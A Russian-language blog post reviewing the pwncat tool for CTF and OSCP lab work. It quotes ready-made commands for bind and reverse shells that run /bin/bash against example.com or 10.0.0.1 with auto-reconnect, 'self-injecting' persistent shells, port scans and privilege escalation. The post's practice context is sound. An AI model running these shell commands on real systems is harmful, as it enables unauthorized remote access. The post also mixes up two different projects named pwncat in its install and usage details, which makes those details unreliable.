PWNCAT — Netcat на Стероидах

В данной статье мы хотели показать Вам очень удобный, на мой личный взгляд, незаменимый и удобный инструмент под названием pwncat.

Это изображение имеет пустой атрибут alt; его имя файла - pwncat.png

По нашим предыдущим статьям по получению бек-коннекта до уязвимого хоста Вы уже знаете, что такое реверс-шел (Reverse shell), как его можно использовать мы так же описывали в ряде статей в части CTF-тасков.

Но когда ты каждый день используешь связку проброса бек-коннекта любым из описанных в статье выше по ссылке, нам еще нужно получить удобную интерактивную оболочку TTY а если возникает вопрос передачи файлов на эксплуатируемую систему, к примеру сплоита ядра, а на системе нет компилятора gcc/cc и тем более wget или curl запрещены, возникает головная боль и построение «костылей» через логи веб-сервиса если он есть или иным другим способом для того, чтобы собрать на стороне хоста эксплоит, не говоря уже о необходимости поиска вариантов эскалаций привилегий средствами LPE.sh или LinPEAS.sh.

Не так давно, в процессе решения очередных CTF-тасков я открыл для себя удивительный инструмент под названием pwncat.

Это изображение имеет пустой атрибут alt; его имя файла - pwncat_integrations.png

 

Чем же он примечателен спросите Вы? Приготовьтесь и держите штаны, вот Вам скриншот решения одной из BIG5 машин в PWK лаборатории на сертификацию OSCP, в одном скрине, эксплуатация уязвимости, сессия, поиск привеска, привеск, рут:

Официальное описание приложения от разработчиков:

Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic.

Обход фаерволов, IDS/IPS систем, поддерживает бинд и реверс шелы, автоинъекция (так называемый не убиваемый шелл), порт форвардинг. В добавок ко всему этому от себя хочу заметить, что реализована одна на мой взгляд крутая вещь, как возможность использования сочетания клавиш Ctrl+C, использование которых в простом реверсе приводит к обрыву сессии. Так же при использовании pwncat работает клавиша Esc в текстовых редакторах vi/vim. Вспомните себя, года получив шелл, Вы нашли суидник (SUID) или конфиг с мисконфигом с правом записи под обычным пользователем или даже под wwwdata и Вам нужно просто внести простое изменение, что зачастую не дает спокойно править конфиги или например работать с ключами и вариант с echo "data" > file не поможет, т.к. править нужно конкретный участок кода или наоборот удалить часть. Даже был недавно случай, когда при отсутствии редактора nano на Linux хосте пришлось править конфиг vim пользователя чтобы сменить сочетание клавиш выхода для того, чтобы просто отредактировать кусок кода. Так тут это работает, но это не самое интересное… На гитхабе есть сравнительная таблица 4-х слушателей:

Feature pwncat netcat ncat socat
Scripting engine ✔ Python ✔ Lua
         
IP ToS
IPv4
IPv6
Unix domain sockets
Linux vsock
Socket source bind
         
TCP
UDP
SCTP
SSL
HTTP
HTTPS *
         
Telnet negotiation
Proxy support
Local port forward
Remote port forward
         
Inbound port scan
Outbound port scan
Version detection
         
Chat
Command execution
Hex dump *
Broker
Simultaneous conns
Allow/deny
Re-accept
Self-injecting
UDP reverse shell
Respawning client
Port hopping
Emergency shutdown
* Feature is currently under development. что означает, что продукт в стадии разработки или реализации

Inject to target

// [1] If you found a vulnerability on the target to start a very simple reverse shell,
// such as via bash, php, perl, python, nc or similar, you can instruct your local
// pwncat listener to use this connection to deploy itself on the target automatically
// and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
[1] Read in more detail about self-injection

Summon shells

// Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
// Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
// Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Но и это еще не все. У него есть встроенный порт сканер. Очень часто возникает вопрос в сканировании портов, на хосте нет Nmap и к тому же он требует привилегий рута для запуска всех нужных нам фишек.

 

Port scan

// [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023
// [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u
// Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u
// Add version detection
pwncat -z 10.0.0.1 1-65535 --banner

Самая бомбическая фишка этой тулзы — это upload и download файлов с локального хоста на удаленный без использования curl/wget/scp и тп.

Устанавливается довольно просто, но есть зависимости:

https://github.com/calebstewart/pwncat

pip install git+https://github.com/calebstewart/pwncat.git

или

python setup.py install
python3 -m venv pwncat-env
source pwncat-env/bin/activate
python setup.py install sudo pip3 install -U git+https://github.com/calebstewart/paramiko //Основные функции, которые понадобятся на первое время pwncat -l -p 4444
pwncat -l -p 4444 --self-inject /bin/bash:192.168.119.203:4445
ctrl+D
privesc -l
privesc -e -u root

Вот пример использования утилиты:

Вот рассуждение плюсов бандла (Eng)

Ну и где можно бесплатно и без вреда использовать данную утилиту и автоматически решить CTF-машину — так это сервис TryHackMe который рекомендую новичкам и всем, кому нужна практика, машины которые Вы можете рутануть при помощи встроенного модуля privesc:

В целом очень крутая и удобная вещь, я раз и на всегда забыл про rlwrap или простой nc- lnvp. Пробуйте, не используйте во вред или для незаконных действий и да прибудет с Вами сила…

Tagged with: